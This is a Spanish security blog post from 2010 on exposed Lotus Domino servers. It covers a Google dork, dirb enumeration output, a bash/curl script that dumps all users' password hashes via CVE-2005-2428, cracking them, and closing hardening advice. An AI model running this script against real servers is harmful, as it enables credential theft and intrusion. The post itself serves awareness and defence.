viernes, 4 de junio de 2010

Seguridad en entornos Lotus Domino

En un contexto globalizado, como el actual, es frecuente encontrarse con servidores Lotus Domino accesibles desde Internet, a través de su acceso Web. La mayoría de estos disponen de mecanismos control de acceso mediante usuario y contraseña, no obstante, no es extraño encontrar accesos anónimos a recursos de dichas plataformas. Es posible localizar dichos recursos mediante las siguientes técnicas:

  • Búsquedas en Google.
  • Ataques de fuerza bruta para la enumeración de recursos.
  • A partir de la información obtenida usando en conjunción las dos técnicas anteriores y enumerando nueva bases de datos.
De hecho, resulta alarmante la cantidad recursos que pueden encontrarse mediante una sencilla búsqueda en google, para posteriormente acceder directamente a la URL http://servidor/names.nsf.

Búsqueda en google:


inurl:names.nsf

Una vez identificado cualquier servidor accesible, es posible enumerar otros recursos Domino mediante la utilización de fuerza bruta. Para esto, puede ser útil la herramienta “dirb” y diccionarios específicos con nombres de BBDD Domino.


$ ./dirb http://servidor/ wordlists/vulns/domino.txt
-----------------
DIRB v2.03
By The Dark Raver
-----------------
URL_BASE: https://servidor/
WORDLIST_FILES: vulns/domino.txt
-----------------
GENERATED WORDS: 202
---- Scanning URL: https://servidor/ ----
+ http://servidor/?Open
(FOUND: 400 [Bad Request] - Size: 204)
+ http://servidor/?OpenServer
(FOUND: 400 [Bad Request] - Size: 204)
+ http://servidor/Agent.nsf
(FOUND: 200 [Ok] - Size: 2785)
+ http://servidor/admin.nsf
(FOUND: 200 [Ok] - Size: 2780)
+ http://servidor/runner.nsf
(FOUND: 200 [Ok] - Size: 2785)

Dependiendo de si la plataforma Domino requiere de autenticación, es posible obtener información que por sí sola no representa un riesgo considerable, pero es información susceptible de ser utilizada en una segunda fase de ataques.

Si por el contrario se permite acceso anónimo, o se conocen credenciales de acceso, es posible acceder a los datos del Directorio de Domino, pudiendo visualizar usuarios, grupos, departamentos, máquinas, clusters, etc. En tal caso, es frecuente, mediante la explotación de la vulnerabilidad CVE-2005-2428, obtener los hashes de las contraseñas de todos usuarios de la infraestructura Domino, las cuales se encuentran embebidas en el código fuente de la página web tal y como se muestra a continuación:

Un sencillo script, similar a este, puede ayudarnos a automatizar el volcado de hashes:


***********************************************
**** Extract Domino Hashes (blueliv) *****
***********************************************
#!/bin/bash
min_usuario=1
max_usuario=99999
login=
password=
i=$min_usuario
url_base="http://servidor/names.nsf"
people_xml="/People?ReadViewEntries"
> lista_users.txt
> datos_users.txt
while [ $i -lt $max_usuario ]; do
echo "Obtendiendo bloque a partir del usuario $i"
curl -s --basic -u "$login:$password" "$url_base$people_xml&Start=$i" >> lista_users.txt
echo "test"
let i=$i+30
done
for user_id in `cat lista_users.txt | grep unid | awk -F " " '{print $3}' | awk -F '"' '{print $2}'`
do
curl -s --basic -u "$login:$password" "$url_base/$user_id?OpenDocument" >> datos_users.txt
done

Una vez obtenidos los hashes relativos a las contraseñas de usuarios, es posible observar hashes en formato lotus5 o domininosec, los cuales están soportados por John the ripper mediante los parches adecuados. Cabe destacar que, la utilización hashes lotus5 es mucho más débil de dominosec, ya que no utiliza un salt.

A partir de este momento, la obtención de credenciales administrativas es una mera cuestión de tiempo, tras la cual se podría escalar privilegios hacia el sistema subyacente, pudiendo interactuar plenamente con su sistema operativo… Aunque esto último lo dejamos para otro post.

Para aquellos que estén sensibilizados por la seguridad de sus propias plataformas Domino, es necesario asegurarse, entre otros aspectos, de los siguientes mínimos:
  • Establecer el acceso anónimo a “No Access”, impidiendo de este modo el acceso anónimo.
  • Establecer el acceso por defecto a “Reader”, obligando la autenticación para todos los usuarios.
  • Establecer la opción “More secure Internet password format” para todas las contraseñas, evitando la utilización de sistemas criptográficos débiles en la generación de hashes.
  • Desactivar la opción “Generate HTML for all fields”, eliminando la exposición de hashes de contraseñas en el propio código fuente de la págna web.
Saludos,